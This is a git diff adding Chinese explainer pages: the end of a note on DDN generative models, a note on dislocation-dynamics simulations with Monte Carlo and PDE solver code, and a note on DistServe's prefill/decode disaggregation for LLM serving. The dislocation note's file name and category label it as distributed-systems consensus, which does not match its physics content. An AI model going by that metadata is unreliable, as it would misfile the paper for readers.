+这是 DDN 最吸引人的特性之一。传统生成模型要支持"文本生成图片"或"低分辨率转高分辨率"，需要为每种条件单独训练一个模型。DDN 不需要：它可以在推理时动态切换"择优标准"。
+
+做法：把 Guided Sampler 中的"L2 距离最小"替换为其他标准。例如：
+- 用分类器：选属于目标类别概率最高的
+- 用 CLIP：选与文本描述语义最接近的
+- 用超分辨率：选经过下采样后最接近低分辨率条件的
+
+**最关键的是：DDN 不需要梯度！** 它只依赖分类器的输出概率（argmax），而不是反向传播。这意味着可以用黑盒模型（如闭源 API）作为条件引导。
+
+```python
+def guided_sampling_with_classifier(candidates, classifier, target_class):
+    """
+    分类器引导的零样本条件生成
+
+    训练时选"最接近目标"的，生成时选"最符合类别"的
+
+    Args:
+        candidates: K 个候选图像, shape [1, C, H, W, K]
+        classifier: 分类器（可以是黑盒，只要能给出类别概率）
+        target_class: 目标类别索引
+
+    Returns:
+        best_index: 被选中的节点编号
+    """
+    batch, C, H, W, K = candidates.shape
+
+    # 将 K 个候选分别输入分类器
+    # candidates: [1, C, H, W, K] -> [K, C, H, W]
+    candidate_list = candidates.permute(4, 0, 1, 2, 3).squeeze(1)
+
+    # 分类器给出每个候选属于目标类别的概率
+    probs = classifier(candidate_list)[:, target_class]  # [K]
+
+    # 选概率最高的
+    best_index = torch.argmax(probs).item()
+
+    return best_index
+
+
+def conditional_generate(ddn_network, L, K, classifier, target_class):
+    """
+    条件生成：给定类别，生成该类别的图片
+    不需要任何梯度反向传播！
+    """
+    current_input = torch.zeros(1, 3, 64, 64)
+    latent_codes = []
+
+    for layer_idx in range(L):
+        layer = ddn_network.layers[layer_idx]
+        candidates = layer(current_input)
+
+        # 用分类器引导选择，而非随机选择
+        idx = guided_sampling_with_classifier(candidates, classifier, target_class)
+        latent_codes.append(idx)
+
+        current_input = candidates[:, :, :, idx, :]
+
+    return current_input.squeeze(0), latent_codes
+```
+
+## 训练技巧
+
+DDN 提出了一些实用的训练技巧：
+
+**Chain Dropout（链式丢弃）**：训练中有一定概率（默认 5%）让每层改用随机选择而非择优选择。防止网络只在少数几条路径上过拟合，相当于给训练加了正则化。
+
+**Learning Residual（残差学习）**：借鉴 ResNet，每层不是直接输出图像，而是输出"与前一层输出的残差"。两层之间的计算量很小，直接回归图像很难，学残差就容易多了。
+
+**Leak Choice（选择泄漏）**：每个输出节点额外学习一套特征，直接传给下一层作为"选择信号"。这样下一层不需要从图像中反复解析上一层的决定，训练更高效。
+
+## 与其他生成模型对比
+
+| 特性 | GAN | VAE | Diffusion | DDN |
+|------|-----|-----|-----------|-----|
+| 生成方式 | 单样本生成 | 单样本生成 | 多步迭代生成 | 每层 K 候选择优 |
+| 重建能力 | 弱（无编码器） | 强（有编码器） | 弱（反向过程） | 强（天然可重建） |
+| 条件生成 | 需单独训练 | 需单独训练 | 需单独训练 | 推理时动态引导 |
+| 隐变量 | 无 | 连续向量 | 无 | 离散整数序列 |
+| 零样本条件 | 不支持 | 不支持 | 有限支持 | 全面支持 |
+
+## 实验数据
+
+- **CIFAR-10**：FID = 52.0（低于 Gated PixelCNN 的 65.9，但高于 GLOW 的 46.0）
+- **CelebA-HQ 64x64**：FID = 35.4
+- **FFHQ 64x64**：FID = 43.1
+- 模型参数量 93M，K=512, L=128
+
+## 思考题
+
+DDN 的核心思想是"每层同时生成 K 个候选，择优传递"。这和 Transformer 中的 beam search（束搜索）有相似之处——都是保留多个候选路径。但 DDN 是在像素空间直接操作，而 beam search 是在序列空间操作。你觉得这两种方法在"表示能力"上的根本区别是什么？
diff --git a/src/content/docs/papers/distributed-snapshot-byzantine-2026.md b/src/content/docs/papers/distributed-snapshot-byzantine-2026.md
new file mode 100644
index 000000000..e29f84164
--- /dev/null
+++ b/src/content/docs/papers/distributed-snapshot-byzantine-2026.md
@@ -0,0 +1,377 @@
+---
+title: 原子晶格上的位错动力学模拟——碰撞规则的影响
+来源: https://arxiv.org/abs/2605.30682
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# 原子晶格上的位错动力学模拟——碰撞规则的影响
+
+## 一、从"一群走路的人"说起
+
+想象一条环形跑道，上面有一群人正在走动。每个人有两种身份：红色（正电荷）或蓝色（负电荷）。
+
+- 同样颜色的人互相排斥——看到同色的人会绕着走
+- 不同颜色的人互相吸引——看到异色的人想靠近
+- 当两个不同颜色的人在同一个位置相遇时，他们会"抵消"——两个人一起消失
+
+这听起来像什么？这正是这篇论文研究的**一维周期性晶格上位错（dislocation）的运动模型**。
+
+位错是金属晶体中的线缺陷。它们的运动决定了金属的塑性和强度。每个位错携带一个拓扑荷（Burgers vector），取值为 +1 或 -1。当正负位错相遇时会相互湮灭，修复晶格。
+
+这篇论文的核心问题是：**微观层面如何处理"碰撞"，会如何影响宏观层面的演化规律？**
+
+## 二、两个模型：保存 vs 湮灭
+
+作者提出了两种离散模型，唯一的区别就是碰撞规则：
+
+### 模型 A：`(P_n^csv)` — 碰撞后全部保存
+
+- 位错碰撞时不做特殊处理
+- 即使两个位错在同一位置，它们仍然各自存在
+- 正负位错的总数都守恒
+
+### 模型 B：`(P_n^ann)` — 碰撞后异号湮灭
+
+- 当正负位错碰撞时，两者立即从系统中移除
+- 只有同号位错会继续存在
+- 净 Burgers 向量（正减负）守恒，但总数量减少
+
+## 三、从微观到宏观：为什么这个问题重要
+
+你可以把这个问题理解为"还原论"的一个具体例子：
+
+> 微观粒子的行为规则，如何决定宏观物质的演化方程？
+
+具体来说，作者想验证：
+
+| 离散模型 | 对应的连续 PDE 模型 |
+|----------|---------------------|
+| `(P_n^csv)` | Groma-Balogh 方程 `(P_∞^csv)` |
+| `(P_n^ann)` | 带湮灭项的守恒律 `(P_∞^ann)` |
+
+如果离散模型确实收敛到对应的连续模型，我们就建立了"原子尺度"和"材料尺度"之间的数学桥梁。
+
+## 四、核心概念详解
+
+### 4.1 晶格与参数
+
+考虑一个一维周期晶格 `Λ_ε = {0, ε, 2ε, ..., 1-ε}`，其中 `ε` 是晶格间距与宏观周期的比值。
+
+三个关键参数：
+
+- **ε** — 晶格精细程度（越小越精细）
+- **n** — 位错数量（越大密度越高）
+- **β** — 相互作用能与热能之比（越大温度越低）
+
+渐近 regime 的要求：`n ≫ 1`, `1/ε ≫ 1`, `n ≪ 1/ε`（稀疏缩放）, `β → ∞`（低温）
+
+### 4.2 跳跃速率公式
+
+每个位错 `i` 可以向左或向右跳到相邻格点，速率由 Kramers 公式给出：
+
+```
+r_±,i(L) = (1 / (βε²)) × exp( ±½ βε F_i(L) )
+```
+
+其中 `F_i(L)` 是作用在位错 `i` 上的合力，来自所有其他位错的弹性相互作用：
+
+```
+F_i(L) = (1/n) Σ_j b_i·b_j · f(L_i - L_j)
+```
+
+这里的 `f(x) = π / tan(πx)` 是 Volterra 公式的无量纲形式，描述了位错间的长程相互作用。
+
+### 4.3 连续极限方程
+
+**(P_∞^csv) — Groma-Balogh 方程：**
+
+```
+∂_t ρ⁺ = -∂ₓ(ρ⁺ · v[κ])
+∂_t ρ⁻ = +∂ₓ(ρ⁻ · v[κ])
+v[κ] = f * κ       （卷积）
+```
+
+其中 `κ = ρ⁺ - ρ⁻` 是净 Burgers 向量密度。这是一个连续性方程组，`ρ⁺` 和 `ρ⁻` 各自守恒。
+
+**(P_∞^ann) — 带湮灭的守恒律：**
+
+```
+∂_t κ = -∂ₓ(|κ| · v[κ])
+```
+
+这里没有分别追踪 `ρ⁺` 和 `ρ⁻`，而是直接追踪净密度 `κ`。`|κ|` 项体现了湮灭效应——当正负位错共存时，它们的"绝对密度"大于"净密度"，差值就是已经湮灭的部分。
+
+## 五、代码示例
+
+### 示例 1：离散位错系统的 Kinetic Monte Carlo 模拟
+
+```python
+import numpy as np
+
+class DislocationSystem:
+    """一维周期晶格上的位错系统"""
+
+    def __init__(self, positions, signs, epsilon, beta, annihilate=True):
+        """
+        positions: 位错在一维环上的位置 [0, 1)
+        signs:     每个位错的 Burgers 向量 (+1 或 -1)
+        epsilon:   晶格间距
+        beta:      相互作用能/热能比
+        annihilate: 是否启用碰撞湮灭规则
+        """
+        self.positions = np.array(positions, dtype=float)
+        self.signs = np.array(signs, dtype=int)
+        self.epsilon = epsilon
+        self.beta = beta
+        self.annihilate = annihilate
+        self.time = 0.0
+
+    def _force(self, i):
+        """计算作用在位错 i 上的合力"""
+        n = len(self.positions)
+        force = 0.0
+        for j in range(n):
+            if i == j:
+                continue
+            dx = (self.positions[i] - self.positions[j]) % 1.0
+            # Volterra 相互作用力
+            if dx == 0.0:
+                dx = 0.5  # 碰撞时力为零
+            force += self.signs[i] * self.signs[j] * np.pi / np.tan(np.pi * dx)
+        return force / n
+
+    def _jump_rates(self):
+        """计算所有可能的跳跃速率"""
+        total_rate = 0.0
+        rates = []
+        n = len(self.positions)
+        for i in range(n):
+            fi = self._force(i)
+            for sign in [+1, -1]:
+                r = (1.0 / (self.beta * self.epsilon**2)) * np.exp(
+                    0.5 * self.beta * self.epsilon * sign * fi
+                )
+                rates.append((i, sign, r))
+                total_rate += r
+        return rates, total_rate
+
+    def step(self):
+        """执行一步 Kinetic Monte Carlo 迭代"""
+        rates, total_rate = self._jump_rates()
+        if total_rate == 0:
+            return
+
+        # 采样等待时间（指数分布）
+        dt = np.random.exponential(1.0 / total_rate)
+        self.time += dt
+
+        # 采样选择哪个位跳、往哪跳
+        probs = [r / total_rate for _, _, r in rates]
+        idx = np.random.choice(len(rates), p=probs)
+        i, direction, _ = rates[idx]
+
+        # 执行跳跃
+        old_pos = self.positions[i]
+        self.positions[i] = (old_pos + direction * self.epsilon) % 1.0
+
+        # 检查碰撞：如果有湮灭规则且遇到异号位错
+        if self.annihilate:
+            collided = False
+            for j in range(len(self.positions)):
+                if i != j:
+                    dist = abs(self.positions[i] - self.positions[j])
+                    if dist < self.epsilon or dist > (1.0 - self.epsilon):
+                        if self.signs[j] == -self.signs[i]:
+                            # 湮灭：移除两个位错
+                            self.positions = np.delete(self.positions, j)
+                            self.signs = np.delete(self.signs, j)
+                            self.positions = np.delete(self.positions, i if i < j else i - 1)
+                            self.signs = np.delete(self.signs, i if i < j else i - 1)
+                            collided = True
+                            break
+            if collided:
+                return
+
+        # 更新跳跃速率（增量更新，节省 O(n) 开销）
+        # 这里简化为完全重算
+```
+
+### 示例 2：连续 PDE 的有限体积数值求解
+
+```python
+class PDVSolver:
+    """Groma-Balogh 方程的有限体积求解器"""
+
+    def __init__(self, N, T_final, scheme='csv'):
+        """
+        N:   空间网格数
+        T_final: 模拟终止时间
+        scheme: 'csv' (守恒) 或 'ann' (湮灭)
+        """
+        self.N = N
+        self.dx = 1.0 / N
+        self.T_final = T_final
+        self.scheme = scheme
+        self.x = np.arange(N) * self.dx  # 网格点
+        self.dt = self.dx ** 2  # CFL 条件
+
+    def _velocity(self, kappa):
+        """计算速度场 v[kappa] = f * kappa（卷积）"""
+        v = np.zeros(self.N)
+        for i in range(self.N):
+            for j in range(self.N):
+                dx = (i - j) * self.dx
+                if abs(dx) < 1e-10 or abs(abs(dx) - 1.0) < 1e-10:
+                    continue  # 奇异点跳过
+                mj = (j + 0.5) * self.dx  # 单元中点
+                d = ((i * self.dx) - mj) % 1.0
+                v[i] += (np.pi / np.tan(np.pi * d)) * kappa[j] * self.dx
+        return v / self.N
+
+    def solve_csv(self, rho_plus_0, rho_minus_0):
+        """求解 (P_∞^csv) — Groma-Balogh 方程"""
+        rho_plus = rho_plus_0.copy()
+        rho_minus = rho_minus_0.copy()
+        t = 0.0
+
+        while t < self.T_final:
+            kappa = rho_plus - rho_minus
+            v = self._velocity(kappa)
+
+            # 迎风格式：根据速度方向选择上游值
+            for i in range(self.N):
+                v_left = v[i]
+                v_right = v[(i + 1) % self.N]
+
+                # rho⁺ 的通量
+                if v_left >= 0:
+                    rho_plus_at_left = rho_plus[(i - 1) % self.N]
+                else:
+                    rho_plus_at_left = rho_plus[i]
+
+                if v_right >= 0:
+                    rho_plus_at_right = rho_plus[i]
+                else:
+                    rho_plus_at_right = rho_plus[(i + 1) % self.N]
+
+                # rho⁻ 类似
+                if v_left >= 0:
+                    rho_minus_at_left = rho_minus[(i - 1) % self.N]
+                else:
+                    rho_minus_at_left = rho_minus[i]
+
+                if v_right >= 0:
+                    rho_minus_at_right = rho_minus[i]
+                else:
+                    rho_minus_at_right = rho_minus[(i + 1) % self.N]
+
+                # 更新密度
+                rho_plus[i] -= (self.dt / self.dx) * (
+                    rho_plus_at_right * v_right - rho_plus_at_left * v_left
+                )
+                rho_minus[i] += (self.dt / self.dx) * (
+                    rho_minus_at_right * v_right - rho_minus_at_left * v_left
+                )
+
+            t += self.dt
+
+        return rho_plus, rho_minus
+
+    def solve_ann(self, kappa_0):
+        """求解 (P_∞^ann) — 带湮灭的守恒律"""
+        kappa = kappa_0.copy()
+        t = 0.0
+
+        while t < self.T_final:
+            v = self._velocity(kappa)
+
+            for i in range(self.N):
+                v_left = v[i]
+                v_right = v[(i + 1) % self.N]
+
+                # |kappa| 的迎风取值
+                if v_left >= 0:
+                    abs_kappa_left = abs(kappa[(i - 1) % self.N])
+                else:
+                    abs_kappa_left = abs(kappa[i])
+
+                if v_right >= 0:
+                    abs_kappa_right = abs(kappa[i])
+                else:
+                    abs_kappa_right = abs(kappa[(i + 1) % self.N])
+
+                kappa[i] -= (self.dt / self.dx) * (
+                    abs_kappa_right * v_right - abs_kappa_left * v_left
+                )
+
+            t += self.dt
+
+        return kappa
+```
+
+## 六、主要发现
+
+通过大量数值模拟，作者得到了以下关键结果：
+
+1. **带湮灭的模型收敛良好** — `(P_n^ann)` 随着 `n → ∞` 确实收敛到 `(P_∞^ann)`，即带湮灭项的连续 PDE。
+
+2. **无湮灭模型的收敛不一致** — `(P_n^csv)` 的表现令人意外：在某些参数范围内它收敛到预期的守恒 PDE `(P_∞^csv)`，但在其他参数范围内，它反而表现出类似湮灭的行为，收敛到 `(P_∞^ann)` 的形式。
+
+3. **碰撞规则至关重要** — 微观层面的碰撞处理方式（保存 vs 湮灭）会导致完全不同的宏观极限方程。这意味着在构建离散位错动力学模型时，不能忽略碰撞的细节。
+
+## 七、直观理解：为什么两种模型表现不同？
+
+回到"跑步的人"的类比：
+
+- **保存模型**：红蓝两人擦肩而过，继续各跑各的。长期来看，红色和蓝色的"总量"都不变。
+- **湮灭模型**：红蓝两人相遇就一起消失。红色总量和蓝色总量都在减少，但"红色减蓝色"的差值保持不变。
+
+关键发现是：**即使在"保存模型"中，如果参数设置不当，相同位置的异号位错会因为强烈的相互吸引而快速靠近、重叠，使得宏观密度看起来就像在"湮灭"一样。** 这不是真正的湮灭，而是模型参数导致的表观现象。
+
+## 八、方法论要点
+
+### 8.1 Kinetic Monte Carlo（动力学蒙特卡洛）
+
+这是模拟随机过程的标准方法：
+
+1. 计算所有可能事件的总速率
+2. 从指数分布采样等待时间
+3. 按概率选择下一个事件
+4. 更新状态，重复
+
+### 8.2 有限体积法（Finite Volume Method）
+
+用于求解 PDE：
+
+1. 将空间划分为小单元
+2. 在每个单元上积分方程
+3. 用迎风格式近似边界通量
+4. 时间推进
+
+### 8.3 离散到连续的量化收敛
+
+作者设计了专门的指标来量化离散模拟结果与连续 PDE 解之间的差异，包括 L1 误差、密度剖面比较等。
+
+## 九、总结与延伸思考
+
+这篇论文的核心贡献不在于提出新模型，而在于**通过数值证据回答了"离散模型是否真的收敛到我们期望的连续方程"这一基本问题**。
+
+几个值得深入思考的问题：
+
+1. **参数选择的敏感性** — `(P_n^csv)` 在不同参数下的不同行为，暗示了离散-连续极限可能存在"相变"式的转变。
+
+2. **物理真实性** — `(P_n^ann)` 更接近真实金属中的位错行为（异号位错确实会湮灭），因此其对应的 `(P_∞^ann)` 可能是更好的宏观描述。
+
+3. **计算效率** — 湮灭减少了粒子数量，但需要额外的碰撞检测逻辑；保存模型粒子数不变但可能出现数值奇异性。
+
+4. **高维推广** — 本文是一维模型，实际金属中的位错是三维曲线。高维情况下的碰撞规则和收敛性问题更加复杂。
+
+## 十、参考文献
+
+- Hudson, T., Jantaraphum, A., & van Meurs, P. (2026). *Simulations of dislocation dynamics on an atomic lattice: the effect of collision rules*. arXiv:2605.30682.
+- Groma, I., & Balogh, L. (1999). Dislocation density formulation for the theory of plasticity. *Acta Metallurgica*.
+- Blesgen, T. (2010). On the continuum theory of moving dislocations.
+- Voter, A. F. (2007). Introduction to the kinetic monte carlo method. *Computational Microscopy*.
diff --git a/src/content/docs/papers/distserve-2024.md b/src/content/docs/papers/distserve-2024.md
new file mode 100644
index 000000000..d5d140696
--- /dev/null
+++ b/src/content/docs/papers/distserve-2024.md
@@ -0,0 +1,347 @@
+---
+title: DistServe — Prefill/Decode 分离与 Goodput 优化 LLM 服务
+来源: https://arxiv.org/abs/2401.09670
+日期: 2026-06-13
+子分类: ML 系统
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：快餐店的「备餐台」与「出餐口」
+
+想象一家连锁快餐店（GPU 集群）同时服务两类顾客：
+
+1. **Prefill（备餐）**：顾客一次点了一整份套餐（prompt 可能有几百个 token）。后厨要把所有食材**同时下锅**炒好第一盘菜（生成**第一个 token**），并把配方写进账本（**KV cache**）。这一步像**大锅爆炒**——火力要猛、灶台要大，顾客最关心「多久能上第一道菜」（**TTFT，Time-To-First-Token**）。
+2. **Decode（出餐）**：之后每来一位客人要**一勺汤**（每步只生成 1 个 token），厨师从账本翻旧料、加一小撮新料。火力不大，但要**不停翻账本、搬罐子**——吃显存带宽。顾客关心「每勺之间等多久」（**TPOT，Time-Per-Output-Token**），只要比人眼阅读快就行。
+
+**传统 vLLM / Orca 式系统**把备餐和出餐**挤在同一口锅、同一批火**里炒（colocate + continuous batching）：
+
+- 一锅大菜没炒完，旁边等一勺汤的人全得干等 → **Decode 的 TPOT 被 Prefill 拖慢**。
+- 为了照顾等汤的人，大菜也不能全力炒 → **Prefill 的 TTFT 被 Decode 拖慢**。
+- 更糟的是：备餐台和出餐口**共用同一套灶台编号和排班表**（资源与并行策略耦合）——给大锅菜配 4 个灶，出餐口也被迫 4 个灶，但出餐其实 1 个灶就够忙。
+
+**DistServe 的做法**像把店拆成两个区域：
+
+- **一楼专门备餐**（Prefill GPU 集群），按 TTFT 目标单独配灶、单独排并行策略。
+- **二楼专门出餐**（Decode GPU 集群），按 TPOT 目标配灶；因为出餐 GPU 常常闲着，可以**多个一楼备餐台对应一个二楼出餐口**（例如 2:1 的 prefill:decode 实例比）。
+- 备餐完成后用**传送带**把账本（KV cache）送到二楼——在现代 NVLink 集群里，这笔搬运费往往**比互相挡锅便宜得多**。
+
+一句话：**不是让 GPU「每秒吐更多 token」（吞吐），而是在 TTFT 和 TPOT 两个 SLO 都达标的前提下，让每张 GPU 能接更多单（Goodput）——DistServe 用 PD 分离把这件事做成可优化的系统问题。**
+
+---
+
+## 是什么
+
+**DistServe: Disaggregating Prefill and Decoding for Goodput-optimized Large Language Model Serving**（Zhong 等，**OSDI 2024**，arXiv:[2401.09670](https://arxiv.org/abs/2401.09670)）提出：
+
+1. 把 LLM 推理的 **Prefill** 与 **Decode** 拆到**不同 GPU** 上，消除两阶段在同一 batch 里的**相互干扰**。
+2. 针对应用给定的 **TTFT / TPOT** 延迟约束，**分别**为两阶段做 GPU 数量与**模型并行策略**的联合优化，最大化 **per-GPU goodput**。
+3. 根据集群**网络带宽拓扑**，自动放置 prefill 实例与 decode 实例，最小化 KV cache 跨机传输开销。
+
+| 项目 | 内容 |
+|------|------|
+| 会议 | OSDI 2024 |
+| 机构 | 北京大学、StepFun、UC San Diego |
+| 开源 | [github.com/LLMServe/DistServe](https://github.com/LLMServe/DistServe) |
+| 对比基线 | vLLM、Orca 等 colocated 系统 |
+| 效果 | 相同 SLO 下可多服务 **7.4×** 请求，或 SLO 收紧 **12.6×**；**>90%** 请求满足延迟约束 |
+
+---
+
+## 为什么重要
+
+不理解 DistServe，下面几件事很难讲清楚：
+
+- 为什么业界从 2024 年起大量出现 **PD 分离**（vLLM disagg、SGLang、Mooncake、Splitwise、Nexus 等）——DistServe 是这条线的**系统奠基论文之一**。
+- 为什么在线服务要同时盯 **TTFT** 和 **TPOT**，而不能只优化「tokens/s」——聊天机器人重 TTFT，文档摘要重 TPOT，**Goodput** 才反映「在 SLO 内每张卡能接多少 rps」。
+- 为什么 **Chunked Prefill** 能缓解但不能根治干扰——chunk 与 decode 混批仍会抢 SM/带宽，且长上下文下 KV 重复加载带来 **O(N²)** 访存开销。
+- 为什么 Prefill 更爱 **张量并行（intra-op）**、Decode 在高负载下更爱 **流水线并行（inter-op）**——两阶段算力形态不同，**耦合部署会迫使你 over-provision**。
+
+---
+
+## 核心概念
+
+### 1. 两阶段推理与双指标延迟
+
+```text
+用户 prompt (n tokens)
+  → [Prefill]  并行处理全部 prompt token → 生成第 1 个 output token + 写入 KV cache
+  → [Decode]   循环：每步 1 token，读全量 KV + 权重 → 直到 EOS
+
+总延迟 ≈ TTFT + TPOT × (输出 token 数 - 1)
+```
+
+| 阶段 | 计算特征 | 典型瓶颈 | 用户关心的指标 |
+|------|----------|----------|----------------|
+| **Prefill** | 一次处理很多 token，大 GEMM | **Compute-bound**（长 prompt） | **TTFT** |
+| **Decode** | 每步 1 token，仍要读全量权重+KV | **Memory-bandwidth-bound** | **TPOT** |
+
+### 2. Goodput vs Throughput
+
+| 指标 | 含义 | DistServe 优化目标 |
+|------|------|-------------------|
+| **Throughput** | 全系统每秒生成 token 总数 | 传统 colocated 系统常最大化它 |
+| **Goodput** | 在 **SLO 达成率**（如 90%）下，**每张 GPU** 能承受的**最大请求速率** | DistServe 直接优化它 |
+
+论文 Figure 1 的例子：13B 模型在单张 A100 上，colocated 系统 goodput 约 **1.6 rps**；若 prefill、decode **各用一张独立 GPU**，prefill 可达 **5.6 rps**、decode 可达 **10 rps**。按 **2 张 prefill + 1 张 decode** 配比，整体 goodput 可达 **10 rps（≈3.3 rps/GPU）**，比 colocated **高约 2.1×**——还没算上 DistServe 的并行与放置优化。
+
+### 3. Colocated 系统的三大痛点
+
+#### 3.1 Prefill–Decode 干扰
+
+同一 batch 里混入一个 prefill job，会让整批 decode 的迭代时间**显著变长**（论文 Figure 2：batch 越大、prompt 越长，拖慢越狠）。即便调度上「先 prefill 再 decode」，**排队延迟**仍会让另一阶段违约。
+
+**Chunked Prefill + piggyback** 只能折中：chunk 太小则 prefill 吃不满 GPU；chunk 太大则 decode 插不进 batch；且分 chunk 后 KV 要反复从 HBM 加载，长上下文下访存从 **O(N)** 恶化到 **O(N²)**。
+
+#### 3.2 资源与并行策略耦合
+
+- Prefill：**算力密集**，为压 TTFT 适合 **intra-op 并行**（张量切分，需 NVLink 高带宽）。
+- Decode：batch 小时 GPU 利用率低；负载高时 **inter-op 流水线** 能线性扩吞吐、降排队（M/D/1 队列里执行时间越短，排队项越小）。
+
+Colocated 时两阶段**被迫共用**同一套 GPU 数与 TP/PP 配置，往往只能 **over-provision** 才能同时满足 TTFT 和 TPOT。
+
+#### 3.3 DistServe 的解：Disaggregation
+
+```text
+Client
+  → Prefill Instance(s)   — 完整模型副本，只跑 prefill
+        │ 传输 KV cache + 首 token 元数据
+        ▼
+  → Decode Instance(s)    — 完整模型副本，只跑 decode
+        → stream tokens 回 Client
+```
+
+- **消除 batch 内干扰**：prefill batch 与 decode batch **物理隔离**。
+- **独立扩缩**：prefill:decode 实例数可非 1:1（decode 常更闲，可多配 prefill 实例）。
+- **独立并行**：例如 prefill 用 2-way TP，decode 用 4-stage PP——在分离架构下才「合法」。
+
+### 4. 分阶段优化直觉（论文 §3）
+
+**Prefill 实例**
+
+- 存在临界输入长度 \(L_m\)：超过后单请求即可**吃满** A100；再堆 batch 只会**等比例拉长**批处理时间。
+- 实际 prompt 常数百 token，prefill batch 一般**保持很小**。
+- 低到达率：intra-op 并行降执行时间 → 降 TTFT；高到达率：inter-op 流水线提高**服务率** → 降排队。
+
+**Decode 实例**
+
+- 单步算力需求小，常**内存带宽受限**；增大 batch 可提高利用率，但会抬高 TPOT。
+- 优化目标是在 TPOT SLO 内尽量**塞满 batch**。
+
+**跨阶段通信**
+
+- 主要传 **KV cache**（和少量元数据）。在现代 GPU 集群（NVLink / 高速 NIC）上，相对节省下来的干扰时间，通信开销**往往可接受**——DistServe 用**放置算法**让高带宽链路承担跨阶段流量。
+
+### 5. DistServe 系统流程（论文 §4）
+
+```mermaid
+flowchart TB
+  SLO[应用给出 TTFT / TPOT / SLO 达成率]
+  OPT[单副本：联合优化<br/>GPU 数 + 并行策略<br/>最大化 per-GPU goodput]
+  REP[按流量复制 prefill/decode 实例]
+  PLACE[带宽感知放置<br/>最小化 KV 传输]
+  SLO --> OPT --> REP --> PLACE
+```
+
+给定 SLO 后，DistServe：
+
+1. 假设**单模型副本**，为 prefill、decode **分别**搜索最优 GPU 分配与张量/流水线并行组合。
+2. 按目标 QPS **水平复制**实例（prefill 与 decode 副本数可不同）。
+3. 根据集群拓扑把实例**映射到机器**，使跨阶段 KV 传输走**高带宽路径**。
+
+实现上，DistServe 是叠在现有推理引擎（如 FasterTransformer）之上的**编排层**，不改模型数学。
+
+---
+
+## 代码示例
+
+### 示例 1：用 Python 估算 TTFT / TPOT 与 Goodput 门槛
+
+下面用简化模型理解：**Goodput 受 TTFT、TPOT 两个约束中更紧的那个限制**（与论文 Figure 1 思路一致）。
+
+```python
+from dataclasses import dataclass
+
+@dataclass
+class Slo:
+    ttft_p90_ms: float   # Prefill 延迟上限（毫秒）
+    tpot_p90_ms: float   # 每输出 token 间隔上限（毫秒）
+    attainment: float = 0.90  # SLO 达成率目标
+
+@dataclass
+class PhaseProfile:
+  # 简化：到达率 R 下测得的 P90 延迟（真实系统用 profiling + 排队模型）
+    max_rps_at_slo: float
+
+def goodput_per_gpu(prefill: PhaseProfile, decode: PhaseProfile,
+                    prefill_gpus: int, decode_gpus: int) -> float:
+    """分离部署：整体 rps 受两阶段瓶颈约束，再除以总 GPU 数"""
+    prefill_capacity = prefill.max_rps_at_slo * prefill_gpus
+    decode_capacity = decode.max_rps_at_slo * decode_gpus
+    overall_rps = min(prefill_capacity, decode_capacity)
+    total_gpus = prefill_gpus + decode_gpus
+    return overall_rps / total_gpus
+
+# 论文 Figure 1 量级（13B, A100 80GB, 输入 512 / 输出 64 的合成负载）
+prefill_only = PhaseProfile(max_rps_at_slo=5.6)
+decode_only = PhaseProfile(max_rps_at_slo=10.0)
+colocated = 1.6  # rps / GPU
+
+pd_ratio_2_1 = goodput_per_gpu(prefill_only, decode_only, 2, 1)
+print(f"Colocated goodput/GPU:     {colocated:.2f} rps")
+print(f"PD 2:1 disagg goodput/GPU: {pd_ratio_2_1:.2f} rps")
+print(f"提升倍数:                  {pd_ratio_2_1 / colocated:.1f}x")
+```
+
+输出示意：`PD 2:1` 约 **3.3 rps/GPU**，相对 colocated **~2.1×**——尚未计入 DistServe 对并行策略的联合搜索，因此论文端到端还能更高。
+
+### 示例 2：M/D/1 排队 —— 为什么 Prefill 要减执行时间
+
+论文用 **M/D/1 队列**说明：到达率固定时，**执行时间 D 越短，排队延迟越小**，TTFT 改善**非线性**。
+
+```python
+def m_d_1_ttft(execution_time_s: float, arrival_rate: float) -> float:
+    """平均 TTFT = D + 排队项（服务时间确定、到达 Poisson）"""
+    util = arrival_rate * execution_time_s
+    if util >= 1.0:
+        return float("inf")  # 系统不稳定
+    queue = (arrival_rate * execution_time_s**2) / (2 * (1 - util))
+    return execution_time_s + queue
+
+D = 0.12  # 单请求 prefill 执行 120ms（已吃满 GPU）
+for rps in [2, 4, 5, 5.5]:
+    ttft = m_d_1_ttft(D, rps) * 1000
+    print(f"到达 {rps} rps → 平均 TTFT ≈ {ttft:.0f} ms")
+
+# 若用 2-way 张量并行把 D 降到 0.07s：
+D_fast = 0.07
+print("--- 加 intra-op 并行后 ---")
+for rps in [5, 6, 7]:
+    ttft = m_d_1_ttft(D_fast, rps) * 1000
+    print(f"到达 {rps} rps → 平均 TTFT ≈ {ttft:.0f} ms")
+```
+
+要点：**压执行时间**（算子并行、少无谓 batching）在负载升高时比「多塞几个请求进 batch」更有效——这是 DistServe 给 prefill 实例单独选 **intra-op** 的理论支撑。
+
+### 示例 3：概念性 PD 分离调度伪代码
+
+```python
+from collections import deque
+from enum import Enum, auto
+
+class Stage(Enum):
+    PREFILL = auto()
+    DECODE = auto()
+
+class DistServeScheduler:
+    """教学用骨架：prefill / decode 队列与实例分离"""
+
+    def __init__(self, prefill_engines, decode_engines):
+        self.prefill_engines = prefill_engines  # 各持一份完整权重
+        self.decode_engines = decode_engines
+        self.wait_prefill = deque()
+        self.wait_decode = deque()
+
+    def submit(self, request_id: str, prompt_tokens: list[int]):
+        self.wait_prefill.append((request_id, prompt_tokens))
+
+    def step_prefill(self):
+        if not self.wait_prefill:
+            return
+        engine = self._pick_idle(self.prefill_engines)
+        req_id, tokens = self.wait_prefill.popleft()
+        # 只跑 prefill：生成首 token + KV
+        first_token, kv_handle = engine.run_prefill(tokens)
+        # 经高带宽链路把 KV 交给 decode 池（放置算法决定目标机）
+        decode_engine = self._route_decode(kv_handle)
+        self.wait_decode.append((req_id, kv_handle, first_token, decode_engine))
+
+    def step_decode(self):
+        if not self.wait_decode:
+            return
+        req_id, kv, first_token, engine = self.wait_decode.popleft()
+        engine.attach_kv(req_id, kv, first_token)
+        # 之后由 decode 引擎逐步 generate；与 prefill 队列无 batch 交织
+
+    def _pick_idle(self, engines):
+        return min(engines, key=lambda e: e.queue_depth)
+
+    def _route_decode(self, kv_handle):
+        # 论文 placement：选带宽最高、负载最低的 decode 实例
+        return min(self.decode_engines, key=lambda e: e.expected_transfer_cost(kv_handle))
+```
+
